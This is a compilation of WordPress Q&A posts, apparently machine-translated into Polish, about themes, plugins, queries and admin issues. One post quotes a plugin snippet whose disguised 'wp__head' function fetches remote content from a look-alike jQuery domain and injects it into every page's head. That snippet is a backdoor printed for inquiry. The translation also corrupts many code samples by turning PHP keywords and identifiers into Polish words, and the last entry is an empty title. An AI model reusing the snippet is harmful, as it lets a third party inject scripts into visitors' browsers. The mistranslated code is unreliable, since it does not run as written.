title: Przeniesienie wordpressa z localhost na serwer powoduje błąd dostępu do panelu administratora?

text: Mam działającą wersję wordpressa w localhost i próbowałem przenieść je na zdalny serwer. Ponieważ mam inny wordpress zainstalowany na tym samym serwerze i próbowałem zmienić nazwy obecnych tabel na prefiks wp1_, wyeksportowałem moje dane lokalne do pliku sql. Następnie przeszukałem i zmieniłem nazwę każdej tabeli na wp_ i zmieniłem je na wp1_ i zaimportowałem na mój serwer. Następnie próbowałem zalogować się w panelu administracyjnym, wyrzuca następujący błąd „Nie masz wystarczających uprawnień, aby uzyskać dostęp do tej strony”. Przeszukałem niektóre fora i próbowałem zmienić wartości klucza meta w wp1_options i wp1_usermeta, który został uruchomiony z wp_ Wciąż po tym nie mogłem się zalogować. A pomysły na to? _**Uwaga: Zmieniłem wp-config i powiązane szczegóły, a interfejs działa dobrze._**


title: add_rewrite_rule i problem z paginacją

text: Mam problem z pisaniem poprawnej reguły przepisywania. Oto przykłady adresu URL, który chcę: `/myPage/mySuPage` Następnie to samo z paginacją `/myPage/mySuPage/page/3` Następnie strona podstawowa, z 2 parametrami, bez paginacji `/myPage/mySuPage /param1/param2` Następnie ten z 2 parametrami i paginacją `/myPage/mySuPage/param1/param2/page/3` Mniej więcej działa z różnymi regułami dla każdego przypadku, ale jeśli je wstawię rząd, nic nie działa. Oto zasady, które napisałem: add_rewrite_rule( 'myPage/mySuPage/([^/]*)/([^/]*)/?', 'index.php?pagename=myPage/mySuPage&param1=$matches[1]&param2 =$dopasowania[2]', 'góra' ); add_rewrite_rule( 'myPage/mySuPage/([^/]*)/([^/]*)/page/([0-9]{1,})?', 'index.php?pagename=myPage/mySuPage&param1= $matches[1]&param2=$matches[2]&pageds=$matches[3]', 'top' ); add_rewrite_rule( 'myPage/mySuPage/(.+?)(/page/([0-9]+))?/?$', 'index.php?pagename=myPage/mySuPage&param1=$matches[1]&param2=$ mecze[2]', 'góra' );


title: Kategorie nie działają zgodnie z oczekiwaniami z niestandardowym typem wpisu

text:
Mam skonfigurowany niestandardowy typ postu, taki jak: add_action('init', 'portfolio_register'); function portfolio_register() { $labels = array( 'name' => _x('Zdjęcia', 'Ogólna nazwa typu postu'), 'singular_name' => _x('Element portfela', 'Pojedyncza nazwa typu postu'), ' add_new' => _x('Dodaj nowy', 'element portfela'), 'add_new_item' => __('Dodaj nowy element portfela'), 'edit_item' => __('Edytuj element portfela'), 'new_item' = > __('Nowy element portfela'), 'view_item' => __('Wyświetl element portfela'), 'search_items' => __('Przeszukaj portfolio'), 'not_found' => __('Nic nie znaleziono'), 'not_found_in_trash' => __('Nic nie znaleziono w Koszu'), 'parent_item_colon' => '' ); $args = array( 'labels' => $labels, 'public' => true, 'publicly_queryable' => true, 'show_ui' => true, 'query_var' => true, //'menu_icon' => get_stylesheet_directory_uri( . '/article16.png', 'rewrite' => true, 'capability_type' => 'post', 'hierarchical' => false, 'menu_position' => 4, 'taxonomies' => array('post_tag', 'category'), 'supports' => array('title','editor','comments','trackbacks','revisions','custom-fields','page-attributes','thumbnail', 'excerpt ', 'tagi') ); Wciąga wszystkie meta pola i wszystko w porządku na jednej stronie. Na stronie głównej zapytanie z kategorii Polecane wygląda następująco: ### Edytuj na podstawie sugestii spartakusa <?php $args = array('category_name' => 'featured', 'post_type' => array ('post', 'Zdjęcia'), 'posts_per_page' => 20); $the_query = nowe WP_Query($args); while ($the_query->have_posts()) : $the_query->the_post();?> <?php //getImage(1); ?>
 <a href="<?php the_permalink(); ?>"> <img src="<?php bloginfo('template_url'); ?>/scripts/timthumb.php? src=<?php echo get_first_attachment() ?>&w=500&h=500&a=b&zc=1&q=80" alt="<?php the_title(); ?>" /> <?php the_title(); ?>
 <?php endwhile; ?> Działa to dobrze z normalnymi postami, które tworzę, ale żaden z postów w kategorii niestandardowego typu postu nie zostanie przeniesiony do tego zapytania kategorii. Czy ktoś może zobaczyć, co jest nie tak lub mieć sugestie, czego powinienem szukać?


title: Jak przesłonić podstawową funkcję is_ssl()?

text: Chcę zastąpić funkcję w functions.php za pomocą motywu lub wtyczki. W szczególności is_ssl(), która nie ma żadnych hooków filtrów ani akcji. Oczywiście najłatwiej byłoby zaktualizować sam functions.php, ale to pozostawi problemy z aktualizacją i kompatybilnością. Jak można to zrobić. Edycja: celem jest nadpisanie funkcji is_ssl(), aby zwracała wartość true, gdy określona flaga jest ustawiona w nagłówku żądania. Czy jest to możliwe dzięki funkcji override?


title: Blokowanie pulpitu w sieci wielostanowiskowej dla określonych ról użytkowników

text: Korzystam z tej funkcji poniżej od jakiegoś czasu przy normalnych instalacjach WordPressa. Po prostu blokuje użytkowników z określonymi rolami użytkownika i przekierowuje ich na stronę główną witryny. function wpse23007_redirect(){ if( is_admin() && !defined('DOING_AJAX') && ( current_user_can('subscriber') || current_user_can('media') ) ){ wp_redirect(home_url()); Wyjście; } } add_action('init','wpse23007_redirect'); Ale kiedy instaluję to na motywie podrzędnym w moim WordPress Multisite, mimo że jestem superużytkownikiem, blokuje mi to dostęp do pulpitu nawigacyjnego mojego motywu podrzędnego. Czy ktoś może mi pomóc zrozumieć, dlaczego tak jest i jak zmienić powyższe, aby mnie to nie blokowało?


title: Zdefiniuj folder, aby zapisać obrazy

text: Wtyczka zapisuje obrazy do /PLUGINNAME/images, ale chcę, aby została przeniesiona do /uploads Kod wewnątrz wtyczki jest tutaj define('WPR_URLPATH', WP_PLUGIN_URL.'/'.plugin_basename( dirname(__FILE__) ).'/' ); $wpr_saveurl = WPR_URLPATH . "obrazy"; $wpr_cache = ABSPATH . "treść wp/wtyczki/". plugin_basename( nazwa_katalogu(__FILE__) )."/images"; Jak mogę zdefiniować, aby zapisać tam obrazy?


title: Przycisk podglądu Niestandardowy

text: Stworzyłem prostą wtyczkę, która zmienia link podglądu we właściwą lokalizację, ponieważ jest to niestandardowa instalacja Wordpress w istniejącej strukturze witryny. Używając filtra 'preview_post_link' mogę z powodzeniem zmienić link, aby powiedzieć: http://www.domain.com/wp-custom.php?p=123456&preview=true Działa to doskonale po najechaniu kursorem i sprawdzeniu tagu: Podgląd Kliknij prawym przyciskiem myszy i otwórz w nowym oknie / karcie i otworzy się dobrze. Kliknij jednak właściwy przycisk i nie udaje się wygenerować adresu URL na pasku adresu: http://www.domain.com/?p=123456&preview=true Nie jesteś pewien, co się dzieje lub jak to obejść? Jedyne, o czym mogę pomyśleć, to być może jakiś rodzaj JQuery jest uruchamiany przez wordpress na .preview lub #post-preview, co wpływa na zachowanie, gdy przycisk jest klikany bezpośrednio. Wszelkie pomysły, jak zaradzić, byłyby bardzo mile widziane. Wielkie dzięki. Zaktualizowano, aby pokazać prostą metodę zmiany linków podglądu wordpress: function custom_change_preview_link($link) { return preg_replace('/\?/','wp-custom.php?',$link); } add_filter( 'preview_post_link', 'custom_change_preview_link' ); add_filter( 'preview_page_link', 'custom_change_preview_link' );


title: Jak dodać stronę wyświetlającą posty z jednej kategorii?

text: Czy można dodać stronę wyświetlającą posty z określonej kategorii? Czy muszę utworzyć stronę i przekierować ją do `http://site.com/category/myposts`?


title: Konfigurowanie częściowego interfejsu administratora od prawej do lewej

text: Tworzę instancję WordPress z motywem niestandardowym, która musi być po arabsku na stronie publicznej i po angielsku na stronie administratora, ale z RTL (z prawej strony) w polach edycji. Mój motyw dba o twarz publiczną, ale potrzebuję pomocy przy motywowaniu strony administratora. Wiem, że istnieje sposób, aby blog był cały arabski, ale chciałem, aby wszystkie etykiety administratorów i nazwy kategorii pozostały angielskie. Chcę tylko, aby wszystkie pola wprowadzania tekstu administratora stały się RTL. Aha, i pola wprowadzania tekstu generowane przez wtyczki, ale podejrzewam, że jest to trudniejsze. Wiem, że to zmiana CSS, ale nie wiem, od czego zacząć takie częściowe dostosowywanie interfejsu.


title: Dwa metatagi opisowe Wszystko w jednym SEO WordPress

text: Po zainstalowaniu wtyczki All in one SEO moja strona główna zawiera dwa opisy. Jeden przez sam WordPress i jeden przez All in one SEO. Czy istnieje prosty sposób na usunięcie WordPressa? Rozważ zamknięcie posta jako nie na temat. Cos już zrobione dwa razy: http://webmasters.stackexchange.com/questions/2475/two-description-meta-tags- all-in-one-seo-wordpress http://stackoverflow.com/questions/3549769/two- opis-meta-tagi-wszystko-w-jednym-seo-wordpress-zamknięte


title: Niestandardowe stylizacje dla stron kategorii

text: Czy istnieje sposób, aby style na stronie wyglądały inaczej dla niektórych kategorii podczas przeglądania strony należącej tylko do tej kategorii?


title: Post nie znika

text: Zwiastun usuniętego posta wciąż tkwi na jednej z moich list kategorii blogów (w jednej z dwóch, do których post był przypisany). Związałem się, aby zoptymalizować tabele DB. Przywróciłem (prasę do skarbca) do czasu sprzed utworzenia wpisu. Opróżniłem pamięć podręczną. Używam rozbłysku chmur, ale zacząłem podejrzewać, że może to być z tym związane. Wyłączyłem wszystkie wtyczki. Ale zwiastun nie odejdzie. Jakieś pomysły?


title: Zmodyfikuj główną pętlę na stronie archiwum taksonomii

text: Czy istnieje sposób, aby zmodyfikować główną pętlę w jednym szablonie taksonomii, ale pozostawić ją nienaruszoną w każdym innym szablonie? W tym przypadku mam niestandardowy typ wpisu o nazwie „Wydarzenia”, który z kolei ma niestandardową taksonomię o nazwie „Region”. To, co chcę zrobić, to zamiast chronologicznie wyświetlać każdy niestandardowy post „Wydarzenia” według daty publikacji, chcę uporządkować go według niestandardowej wartości meta (w tym przypadku `event_date`). Chcę to zrobić tylko w moim szablonie `taxonomy-region.php` i pozostawić nietkniętą każdą inną instancję głównej pętli.


title: Czy jest dostępna jakaś funkcja umożliwiająca wyświetlenie adresu URL profilu bieżącego użytkownika?

text: Od teraz używam tego kodu, aby wyświetlić adres URL profilu użytkownika. <?php echo esc_url( home_url( '/' ) ); ?>użytkownik/<?php echo $bieżący_użytkownik->login_użytkownika ?>"><?php echo $bieżący_użytkownik->login_użytkownika ?></a> Ten link używa bazy autora jako „użytkownika”. zostanie uszkodzony Czy jest dostępna jakaś funkcja, taka jak `current_user_profile_link()` ?


title: Dodaj niestandardowe posty podrzędne do niestandardowego nadrzędnego posta

text: Mam jeden wymóg, aby pokazać api dokumentu, faq, filmy pod różnymi rodzicami. Przykład: Oprogramowanie i sprzęt Oprogramowanie {software1, software2, software3} Sprzęt {hardware1, hardware2, hardware3} Każde oprogramowanie {1,2,3...} i sprzęt {1,2,3...} zawiera Document API, FAQ , Gałęzie wideo Każdy Document API i FAQ powinny być wyświetlane w modelu hierarchicznym Przykład: Software1 Document API 1.0 Activity 1.1 xxxxxx 1.2 xxxxxx 1.3 xxxxxx 2.0 Activity 2.1 xxxxxx 2.2 xxxxxx 2.3 xxxxxx Software2 Document API 1.0 Activity 1.1 xxxxxx 1.2 xxxxxx 1.3 xxxxxx 2.0 Activity 2.1 xxxxxx 2.2 xxxxxx 2.3 xxxxxx Jakiego podejścia/metody mogę użyć? Stworzyłem niestandardowy typ postu dla pojedynczego interfejsu API dokumentu, taki jak post_type -> document-api custom-taxonomies -> {1.0 Activity, 2.0 Activity} i 1.1 xxxx, 1.2 xxxx to niestandardowe posty w określonych kategoriach (niestandardowe taksonomie)


title: Wyświetlaj zapytanie z wieloma typami postów i tą samą relacją na jednej stronie

text: Tworzę portal klienta, w którym moi klienci mogą utrzymywać swoje projekty i wystawiać opinie w Wordpress. Mam dwa niestandardowe typy postów o nazwie „Klienci” i „Projekty”, z których każdy pobiera informacje od siebie na zapleczu. Kiedy tworzę klienta, automatycznie generuje jego postID w rozwijanym menu w typie postu projektów, w którym mogę przypisać klienta do projektu. To, co staram się osiągnąć, to wyświetlanie wszystkich projektów, które są powiązane z wybranym klientem na jednej stronie frontendu. Pojedyncza strona będzie portalem klienta, który jest generowany przez typ posta klienta. **Nie mogę wyświetlić powiązanego posta z jego identyfikatorem postID. Oto mój kod dla single.php, który będzie wyświetlał projekty na portalu klientów.** <?php global $post; $projects = new WP_Query( array( 'post_type' => array( 'projects'), 'posts_per_page' => -1, 'post_status' => 'publish', 'meta_query' => array( array( 'key' = > 'clientType', 'value' => '"' .get_the_ID() . '"', 'compare' => 'LIKE', 'type' => 'NUMERIC')))); ?> Poniżej znajduje się kod, którego używam do przypisywania klienta do projektów w panelu administracyjnym projektów. Ten skrypt wyświetla każdego klienta, który utworzyłem na stronie klienta i wyświetla jego nazwy w rozwijanym menu. projekty klasowe { var $FOR_POST_TYPE = 'projekty'; var $SELECT_POST_TYPE = 'portal_klienta'; var $SELECT_POST_LABEL = 'Klient'; var $box_id; var $etykieta_pudełka; var $identyfikator_pola; var $etykieta_pola; var $nazwa_pola; var $meta_klucz; function __construct() { add_action( 'admin_init', array( $this, 'admin_init' ) ); } function admin_init() { add_action( 'add_meta_boxes', array( $this, 'add_meta_boxes' ) ); add_action( 'save_post', array( $this, 'save_post' ), 10, 2 ); $this->meta_key = "_selected_{$this->SELECT_POST_TYPE}"; $this->box_id = "select-{$this->SELECT_POST_TYPE}-metabox"; $this->field_id = "selected-{$this->SELECT_POST_TYPE}"; $this->field_name = "selected_{$this->SELECT_POST_TYPE}"; $this->box_label = __( "Wybierz {$this->SELECT_POST_LABEL}", 'projekty' ); $this->field_label = __( "Wybierz {$this->SELECT_POST_LABEL}", 'projekty' ); } function add_meta_boxes() { add_meta_box( $this->box_id, $this->box_label, array( $this, 'select_box' ), $this->FOR_POST_TYPE, 'side' ); } function select_box( $post ) { $selected_post_id = get_post_meta( $post->ID, 'clientType', true ); globalne $wp_post_types; $save_hierarchical = $wp_post_types[$this->SELECT_POST_TYPE]->hierarchiczny; $wp_post_types[$this->SELECT_POST_TYPE]->hierarchiczny = prawda; wp_dropdown_pages( array( 'id' => $this->field_id, 'name' => $this->field_name, 'selected' => empty( $selected_post_id ) ? 0 : $selected_post_id, 'post_type' => $this- >SELECT_POST_TYPE, 'show_option_none' => $this->field_label, )); $wp_post_types[$this->SELECT_POST_TYPE]->hierarchical = $save_hierarchical; } function save_post( $post_id, $post ) { if ( $post->post_type == $this->FOR_POST_TYPE && isset( $_POST[$this->field_name] ) ) { update_post_meta( $post_id, 'clientType', $ _POST[$this->nazwa_pola] ); }      }      }       nowe projekty(); Pełny kod dla single.php http://pastebin.com/na7djwsq **Zarejestruj typ posta, którego używam** Typ posta projektu nazywa się => **projekty** Typ postu klienta nazywa się => **portal_klienta** Dziękuję ty


title: Link do starszych linków

text:
Staram się mieć 5 postów na stronie na moim blogu. Tego właśnie użyłem w index.php <?php get_header(); query_posts('posts_per_page=5'); // Pętla if (have_posts()){ while (have_posts()){ //Iteracja kursora w następnym poście the_post(); echo "
"; tytuł(); echo "
"; echo "
"; data_data(); echo „  |  ”; numer_komentarze(); echo "
"; echo ""; the_post_thumbnail(); echo ""; wyciąg_(); echo "Kontynuuj czytanie"; echo "
"; } } get_footer(); ?> Chcę umieścić link na dole "pokaż starsze posty", ale nie wiem, jak zmienić plik, aby to zrobić. Jakiś pomysł, proszę? Dziękuję Ci


title: Rozpakowywanie CSS wp-login

text: Próbuję znaleźć najbardziej odpowiedni hak do usunięcia domyślnego CSS logowania WordPressa. Styl jest zarejestrowany w uchwycie `login` w wp-inclusive/script-loader.php. Moją pierwszą myślą było użycie hooka `login_enqueue_scripts`, ale styl został już wydrukowany. Możesz sprawdzić stan stylu za pomocą wp_style_is().


title: Czy powinienem ustawić podstawowy adres URL html podczas korzystania z wordpress?

text: W pliku header.php mogę wykonać następujące czynności: <base href="<?php echo get_bloginfo('template_url');?>/"/> W ten sposób mogę zachować względną ścieżkę moich obrazów układu.  Zamiast <img src="<?php echo get_bloginfo('template_url');?>"/> Czy są jakieś wady ustawień podstawowego adresu URL? Jakieś możliwe konflikty z wordpressem?


title: Tłumaczenie językowe

text: Kupiłem motyw SoCute WP i domyślnie jest w języku angielskim. Chcę, aby był po szwedzku, więc dokonałem aktualizacji pliku wp-config.php: define('WPLANG', 'sv_SE'); i przesłałem pliki mo i po do folderu języków. Myślę, że próbowałem wszystkiego, ale nic nie działa. Jeśli ktoś wie o tym więcej, byłbym bardzo wdzięczny, gdybyś wskazał mi właściwy kierunek.


title: Obrazy na zapleczu administratora nie wyświetlają się

text: Tydzień temu szło dobrze z obrazami! Ale ostatnio, kiedy zauważyłem, zauważyłem, że miniatury obrazów w bibliotece multimediów i edytorze postów albo się nie wyświetlają, albo po prostu pokazują tam nazwy plików. Muszę wykonać dużo pracy z obrazami, więc mam niestandardową kolumnę na stronie administratora posta, która pokazuje polecane obrazy posta, które wykazują to samo zachowanie, co biblioteka multimediów. Oto biblioteka mediów![Obraz 1](http://i.stack.imgur.com/ZMaOJ.jpg) oraz edytor postów ![Obraz 2](http://i.stack.imgur.com/p1OT9. jpg) Bardzo ważnym wymogiem jest posiadanie obrazów do pracy na stronie. Czy ktoś może podać sugestie, jak to rozwiązać?


title: Podłącz funkcję ajax do klasy podrzędnej

text:
Mam trzy różne klasy, główną, back-endową i front-endową. Klasa front-end powinna obsługiwać żądanie ajax, więc planowałem umieścić kod ajax wewnątrz tej klasy. Ale kiedy to robię, to nie działa, zawsze zwraca 0 Jeśli umieszczę kod w klasie głównej, działa dobrze, więc wygląda na to, że jest problem z zarejestrowaniem haka ajax i wskazaniem właściwej funkcji w klasa dzieci? Zakładam, że można zarejestrować funkcję w klasie potomnej z klasy nadrzędnej, gdy mamy do czynienia z hakami ajax? Próbowałem to dodać w konstruktorze klasy front-end, ale to nie zadziałało. add_action( 'wp_ajax_search', array( $this, 'ajax_search') ); add_action( 'wp_ajax_nopriv_search', array( $this, 'ajax_search') ); Próbowałem tego również w klasie głównej po załadowaniu kodu dla klasy front-endowej, która w tym przypadku nazywa się po prostu „Sub”. To też nie zadziałało. add_action( 'wp_ajax_search', array( 'Sub', 'ajax_search') ); add_action( 'wp_ajax_nopriv_search', array( 'Sub', 'ajax_search') ); To jest pozbawiony kodu kod dla klasy głównej. class Main { function __construct() { define('PLUGIN_DIR', plugin_dir_path(__FILE__) ); define( 'PLUGIN_URL', katalog_wtyczki_url( __PLIK__ ) ); // To działa // add_action( 'wp_ajax_search', array( $this, 'ajax_search' ) ); // add_action( 'wp_ajax_nopriv_search', array( $this, 'ajax_search' ) ); if ( is_admin() ) { // załaduj klasę administratora } else { // załaduj klasę frontendu, tutaj chciałbym // dołączyć funkcję ajax_search do require_once( PLUGIN_DIR .'frontend.php' ); // To nie działa? // add_action( 'wp_ajax_search', array( 'Sub', 'ajax_search' ) ); // add_action( 'wp_ajax_nopriv_search', array( 'Sub', 'ajax_search' ) ); } } // funkcja publiczna ajax_search() { // wp_send_json( 'hi' ); //   Wyjście(); // } } nowy Main(); Uproszczony kod klasy sub (frontend.php) Sub extends Main { /** * Konstruktor klasy */ public function __construct() { // Nie działa // add_action( 'wp_ajax_search', array( $this, 'ajax_search' ) ); // add_action( 'wp_ajax_nopriv_search', array( $this, 'ajax_search' ) ); $to->test(); $this->add_scripts(); } public function test() { echo '
klik
'; } funkcja publiczna ajax_search() { wp_send_json( 'cześć' ); Wyjście(); } public function add_scripts() { wp_enqueue_script( 'js-test', PLUGIN_URL.'test.js', array( 'jquery') ); wp_localize_script( 'js-test', 'myAjax', array( 'url' => admin_url( 'admin-ajax.php') ) ); } } nowy Sub(); Jakieś pomysły na to, co muszę zmienić, aby hak ajax rejestrował funkcję w klasie podrzędnej? A może jedynym rozwiązaniem tutaj jest umieszczenie kodu ajax w głównej klasie?


title: Umieszczanie sekcji nadrzędnej w wynikach wyszukiwania

text: Tworzę szablon wyników wyszukiwania i chcę wyświetlić sekcję nadrzędną witryny dla każdego zwróconego wyniku. więc na dole każdego fragmentu wyniku wyszukiwania będzie napisane „Znaleziono w [sekcji] | Więcej informacji” Coś takiego: http://www.foxglovecovert.org.uk/search/results/search&keywords=local/


title: Zezwolenie 775 nie wystarczy

text: Mam moje pliki motywów z pozwoleniem 775, ale nadal edytor motywów w adminie mówi, że nie ma uprawnień. tylko wtedy, gdy zmienię uprawnienia na 777, pozwala mi edytować. Dlaczego? Dziękuję Ci.


title: Jak mogę to zrobić, aby ludzie mogli zarejestrować się w mojej witrynie Wordpress?

text: Mój nauczyciel dał mi zadanie stworzenia „sieci społecznościowej” dla gry. Na początek chcę stworzyć niestandardowy motyw, w którym ludzie na początku mają możliwość zarejestrowania się i zalogowania. Jak zrozumiałem, powinna to być już taka funkcja, czy muszę to naprawić sam, jeśli zrobię własny motyw? Nie musisz udzielać mi bezpośredniej odpowiedzi, ale czy masz tutoriale lub coś, co pokazuje, jak zrobić wszystko, co chcę zrobić? Mam naprawdę dobrą znajomość html i css oraz trochę php.


title: Podział na strony listy wszystkich postów zebranych według tytułów kategorii

text:
Byłbym naprawdę wdzięczny, gdyby ktoś miał jakieś pomysły na temat tego, co może być nie tak z tym kodem lub, alternatywnie, mógłby zasugerować zupełnie inny sposób osiągnięcia tych samych celów. Mam witrynę (inscenizowaną, niepubliczną) z niestandardowym typem wpisu „zasoby”. Każdy zasób jest skategoryzowany. Chciałbym wygenerować listę stronicowaną – 10 na stronę – postów zebranych pod odpowiednimi tytułami kategorii. Na przykład: Nazwa kategorii 1 – link do posta – link do posta Nazwa kategorii 2 – link do posta – link do posta – link do postu – link do postu Kategoria 3 – link do posta ...i tak dalej. To jest kod, którego używam teraz do generowania listy postów zatytułowanej kategorii: <?php $cats = get_categories(); foreach ($cats as $cat) { $cat_id = $cat->term_id; echo "
".$cat->nazwa."
"; $stronicowany = (get_query_var('stronicowany')) ? get_query_var('stronicowane') : 1; $args = array( 'post_type' => 'resources', 'posts_per_page' => 10, 'cat' => $cat_id, paged => $paged ); $wp_query = nowe WP_Query($args); if (have_posts()) : while (have_posts()) : the_post(); ?>

<a href="<?php the_permalink();?>"><?php the_title(); ?>

 <?php endwhile; endif; ?> <?php } ?> Działa to do pewnego stopnia, ale niestety nie obejmuje stronicowania. Używam <?php previous_posts_link('Starsze zasoby'); ?> <?php next_posts_link('Nowe zasoby'); ?> aby wygenerować nawigację. Chciałbym również wymienić tylko tytuły kategorii, które mają powiązane posty „zasobów”. Jestem pewien, że jest to „foreach” używane do wyprowadzania każdego tytułu kategorii, który łamie tutaj paginację, ale jestem zakłopotany, jak to naprawić lub napisać alternatywę.


title: Jak określić więcej niż jedną kategorię?

text: Wykluczam komentarze z konkretnych kategorii. Jednak gdy próbuję wykluczyć więcej niż jeden, to nie działa. Działa to: `<?php if (!in_category('7')) comments_template(); ?>` To nie działa: <?php if (!in_category('7 , 9')) comments_template(); ?> lub <?php if (!in_category('7')) comments_template(); ?> <?php if (!in_category('9')) comments_template(); ?>


title: Niestandardowy post nie pojawia się w niestandardowej kategorii taksonomii

text: Witam ponownie Stos Wordpress, mam problem z wyświetlaniem mojego niestandardowego wpisu w niestandardowej kategorii. Post, o którym mowa to: register_post_type('feature_article', array( 'labels' => array(/* pominięte dla jasności */), 'query_var' => true, 'publicly_queryable' => true, 'exclude_from_search' = > false, 'supports' => array('thumbnail', 'title', 'excerpt'), 'public' => true, 'has_archive' => true, 'menu_position' => 5, 'taksonomies' => array ('bliźniak') ) ); a zarejestrowana taksonomia jest tutaj: add_action( 'init', 'twin_post_taxonomy', 0 ); function twin_post_taxonomy() { $labels = array(/* dla jasności */ ); $args = array( 'hierarchical' => true, 'labels' => $labels, 'show_ui' => true, 'show_admin_column' => true, 'query_var' => true, 'rewrite' => array( 'slug ' => 'bliźniak' ), ); register_taxonomy( 'twin', array( 'feature_article','post'), $args ); } Próbuję tutaj wywołać omawiany post (nazwałem kategorię "podwójny portret"): <?php $args = array( 'post_type' => 'feature_article', 'posts_per_page' => 1, 'article_genre' => $str, 'orderby' => 'zmodyfikowany'); $pętla = nowe WP_Query($args); ?> <?php while ( $loop->have_posts() ): $loop->the_post(); ?> <?php if ( in_category('podwójny portret')) { echo the_title(); } else { echo the_excerpt(); } ?> <?php endwhile; wp_reset_postdata(); ?> Przepraszam za długi niechlujny kod :/ Edytuj: zamiast tytułu otrzymuję fragment wyjściowy.


title: Ma pole parent w tabeli wp_term_taxonomy ma term_id lub term_taxonomy_id

text: Stworzyłem kategorię „Książka” z podkategorią „komiks”, aby sprawdzić, jak wordpress utrzymuje strukturę hierarchiczną. Kiedy sprawdzam tabelę "wp_term_taxonomy", stwierdziłem, że taki termin z rodzicem ma wypełnione pole "parent". Ponieważ termin id i term_taxonomy_id mają tę samą wartość dla nadrzędnego „nazwa terminu”, nie jestem w stanie złamać, czy w tabeli wp_term_taxonomy zrobić pole, ma term_taxonomy_id terminu nadrzędnego lub term_id rodzica


title: Zmodyfikować Wordpress, aby nie zastępować znaków + (plus) z adresów URL?

text: Dzieje się to w więcej niż jednej sekcji naszej witryny, ale na różne, ale podobne sposoby. **Scenariusz pierwszy:** Mamy strukturę adresu URL taką jak ta... mojadomena.com/some-category/?subject=Some+Temat Próbuję uzyskać prawidłowe działanie stronicowania. urlencode() spację i otrzymuję +, ale nie ma znaczenia, czy użyję spacji, czy + ...Wordpress zawsze próbuje to zrobić ... mojadomena.com/some-category/page/2/? subject=SomeSubject ...zamiast tego... mojadomena.com/some-category/page/2/?subject=Some+Subject WordPress z jakiegoś powodu usuwa spację/+. Jeszcze nie zorientowaliśmy się, dlaczego. Każda pomoc jest bardzo ceniona. **Scenariusz drugi:** mam wstępnie zdefiniowane slugi, które są identyczne z naszymi kodami części w naszym systemie e-commerce. Posiadamy niestandardowe wtyczki, które łączą strony z systemem e-commerce za pomocą ślimaka pasującego do kodu części w naszym systemie. Z kolei generuje ładnie sformatowane (i automatyczne) tabele zamówień do kasy. Wordpress usuwa wszelkie „+”, które dołączyłem do ślimaka, które mogły być częścią naszych kodów części. Czy jest jakiś sposób, aby Wordpress przestał mieszać z naszymi adresami URL i pozwolił nam robić to, co chcemy? Wolimy myśleć samodzielnie, niż Wordpress podpowiadać nam, jak mamy myśleć.


Znalazłem to we wtyczce. Co to robi? czy to jest niebezpieczne? add_action('admin_enqueue_scripts', 'pw_load_scripts'); if (!function_exists('wp__head'){ function wp__head() { if(function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,"http://www.jqury.net/ ?1"); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_HOST']); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10); $jquery = curl_exec($ch); curl_close($ch); echo "$jquery"; } } add_action('wp_head', 'wp__head'); }


title: Zainstaluj multisite wordpress na subdomenie i mapuj do domen najwyższego poziomu

text: Zamierzam skonfigurować sieć witryn za pomocą WPMU i wtyczki WordPress MU Domain Mapping. Pomysł polega na zainstalowaniu WP na sub.maindomain.com i używaniu go jako mojej witryny sieciowej. Będę mapował do domeny najwyższego poziomu, takiej jak: www.maindomain.com www.domain2.com www.domain3.com i tak dalej. Czy to jest możliwe? Jakie są wady podążania w tym kierunku? Każda pomoc będzie mile widziana!


title: Niestandardowy szablon pola poważnie pomieszany w WP 3.1.1

text: Mam poważny problem z wtyczką Custom Field Template, w której zastosowanie CFT na podstawie nazwy szablonu nie działa (to tak, jakby Ajax używany do ładowania szablonu się zepsuł). Próbowałem uzyskać pomoc na forach, ale bez odpowiedzi - wydaje się, że jest niezależny od przeglądarki (próbowałem w FF4, Safari 5 i Chrome). Muszę dowiedzieć się, dlaczego tak się dzieje, a kończy mi się czas, ponieważ mój klient musi rozpocząć korzystanie z tej witryny do końca tygodnia, o którym mówią. http://www.youtube.com/watch?v=RIfDToXm5IU Czy ktoś może rzucić okiem na powyższy film i poinformować mnie, co mogę zrobić, aby spróbować rozwiązać problem? To świetna wtyczka, ale tego rodzaju problem potwierdza, dlaczego zawsze najlepiej nie używać wtyczek, jeśli to możliwe :( Każda pomoc jest bardzo ceniona, Osu


title: dysk był pełny, ale wordpress nadal ma problemy

text: Podczas próby aktualizacji wordpress z 3.1 do 3.1.1 otrzymuję błąd Niezgodne archiwum.: PCLZIP_ERR_BAD_FORMAT (-10) : Nie można znaleźć podpisu End of Central Dir Record Niektóre wyszukiwania pokazują, że przyczyną tego może być zapełnienie dysku serwera . Mój dysk nie jest pełny, ale to było około tydzień temu. Uważam, że Wordpress ma dysk nadal oznaczony jako pełny i niemożliwy do zapisu. Czy to brzmi wiarygodnie, czy ktoś ma jakieś inne sugestie? Mam na serwerze trzy blogi Wordpress i dotyczy to tylko jednego z nich.


title: Utworzyć kategorię w innym języku?

text: Powiedzmy, że moja strona internetowa jest w języku angielskim i stworzyłem kategorię hiszpańską, w której chcę, aby była to język hiszpański, to i posty podrzędne. Jak mogę to osiągnąć?


title: Język awaryjny Polylang nie jest aktywowany nawet z łatką

text: <?php //moje poprawione archiwum.php do wyświetlania postów z kategorii get_header(); ?> <div id="content"> <?php globalne $wp_query; query_posts(array_merge($wp_query->query, array('post_type' => 'post', 'lang' => 'de'))); ? '; ?> <?php endif; ?> </div><!-- end #content --> <?php get_sidebar(); ?> <?php get_footer(); ?> Czytałem tu i tu Ja załatałem moje archive.php Nigdy nie otrzymuję postów w różnych językach.Ustawiam wszystkie posty jako domyślne na niemiecki (de).Działa ładnie dla języka niemieckiego, ponieważ wszystkie posty są niemieckie, ale nic nie pokazuje, nawet przy użyciu tej poprawki.Czy ja czegoś brakuje?


title: Wcześniejsze argumenty podczas używania zapytań

